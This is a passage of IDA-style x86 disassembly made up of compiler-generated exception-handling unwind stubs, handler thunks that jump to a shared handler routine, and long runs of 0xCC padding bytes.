add ecx, 64h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427BA0 proc near ; DATA XREF: sub_427BA0+2o
mov eax, offset dword_442AF8
jmp sub_437AB8
SEH_427BA0 endp
; ---------------------------------------------------------------------------
db 12h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4014CE
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427C90 proc near ; DATA XREF: sub_427C90+2o
mov eax, offset dword_442B48
jmp sub_437AB8
SEH_427C90 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427D50 proc near ; DATA XREF: sub_427D50+2o
mov eax, offset dword_442B78
jmp sub_437AB8
SEH_427D50 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014CE
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4281A0 proc near ; DATA XREF: sub_4281A0+2o
mov eax, offset dword_442BA8
jmp sub_437AB8
SEH_4281A0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_428260 proc near ; DATA XREF: sub_428260+2o
mov eax, offset dword_442BD8
jmp sub_437AB8
SEH_428260 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014CE
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_428880 proc near ; DATA XREF: sub_428880+2o
mov eax, offset dword_442C08
jmp sub_437AB8
SEH_428880 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_428940 proc near ; DATA XREF: sub_428940+2o
mov eax, offset dword_442C38
jmp sub_437AB8
SEH_428940 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4290B0 proc near ; DATA XREF: sub_4290B0+2o
mov eax, offset dword_442C68
jmp sub_437AB8
SEH_4290B0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40204F
; ---------------------------------------------------------------------------
loc_43CBD8: ; DATA XREF: ___:00442CC4o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429290 proc near ; DATA XREF: sub_429290+2o
mov eax, offset dword_442C98
jmp sub_437AB8
SEH_429290 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_40204F
; ---------------------------------------------------------------------------
loc_43CC38: ; DATA XREF: ___:00442D1Co
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429350 proc near ; DATA XREF: sub_429350+2o
mov eax, offset dword_442CF0
jmp sub_437AB8
SEH_429350 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
loc_43CC98: ; DATA XREF: ___:00442D74o
mov ecx, [ebp-28h]
add ecx, 0A1h
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429450 proc near ; DATA XREF: sub_429450+2o
mov eax, offset dword_442D48
jmp sub_437AB8
SEH_429450 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-53ECh]
jmp sub_4014BA
; ---------------------------------------------------------------------------
loc_43CCDB: ; DATA XREF: ___:00442DB4o
lea ecx, [ebp-5490h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5474h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5274h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-528Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-525Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-537Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5334h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-522Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5304h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5244h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-545Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5444h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-541Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5404h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5364h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-534Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-531Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43CDC2: ; DATA XREF: ___:00429518o
mov eax, offset dword_442D88
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 44h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42AC10 proc near ; DATA XREF: sub_42AC10+2o
mov eax, offset dword_442E70
jmp sub_437AB8
SEH_42AC10 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-10h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42AC80 proc near ; DATA XREF: sub_42AC80+2o
mov eax, offset dword_442EA0
jmp sub_437AB8
SEH_42AC80 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42AFF0 proc near ; DATA XREF: sub_42AFF0+2o
mov eax, offset dword_442ED0
jmp sub_437AB8
SEH_42AFF0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B380 proc near ; DATA XREF: sub_42B380+2o
mov eax, offset dword_442F00
jmp sub_437AB8
SEH_42B380 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B440 proc near ; DATA XREF: sub_42B440+8o
mov eax, offset dword_442F30
jmp sub_437AB8
SEH_42B440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C1B0 proc near ; DATA XREF: sub_42C1B0+5o
mov eax, offset dword_442F60
jmp sub_437AB8
SEH_42C1B0 endp
; ---------------------------------------------------------------------------
align 10h
loc_43CEC0: ; DATA XREF: ___:0042C2C5o
mov eax, offset dword_442FC0
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43CED8: ; DATA XREF: ___:0044304Co
lea ecx, [ebp+8]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-1A0h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C350 proc near ; DATA XREF: sub_42C350+2o
mov eax, offset dword_443020
jmp sub_437AB8
SEH_42C350 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C530 proc near ; DATA XREF: sub_42C530+2o
mov eax, offset dword_443060
jmp sub_437AB8
SEH_42C530 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
loc_43CF38: ; DATA XREF: ___:0042C5D2o
mov eax, offset dword_443090
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42C770 proc near ; DATA XREF: sub_42C770+2o
mov eax, offset dword_4430C0
jmp sub_437AB8
SEH_42C770 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4017A8
; ---------------------------------------------------------------------------
mov eax, offset dword_4430F0
jmp sub_437AB8
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42CB70 proc near ; DATA XREF: sub_42CB70+8o
mov eax, offset dword_443120
jmp sub_437AB8
SEH_42CB70 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42CE60 proc near ; DATA XREF: sub_42CE60+2o
mov eax, offset dword_443150
jmp sub_437AB8
SEH_42CE60 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-74h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-70h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D0B4: ; DATA XREF: ___:0042D158o
mov eax, offset dword_4431A8
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 32h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_435AA0 proc near ; DATA XREF: sub_435AA0+2o
mov eax, offset dword_443290
jmp sub_437AB8
SEH_435AA0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-168Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D11B: ; DATA XREF: ___:004432F4o
lea ecx, [ebp-16A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43D126: ; DATA XREF: ___:00435B98o
mov eax, offset dword_4432C8
jmp sub_437AB8
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4364D0 proc near ; DATA XREF: sub_4364D0+2o
mov eax, offset dword_443300
jmp sub_437AB8
SEH_4364D0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4368D0 proc near ; DATA XREF: sub_4368D0+2o
mov eax, offset dword_443330
jmp sub_437AB8
SEH_4368D0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4369E0 proc near ; DATA XREF: sub_4369E0+8o
mov eax, offset dword_443368
jmp sub_437AB8
SEH_4369E0 endp
; ---------------------------------------------------------------------------
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
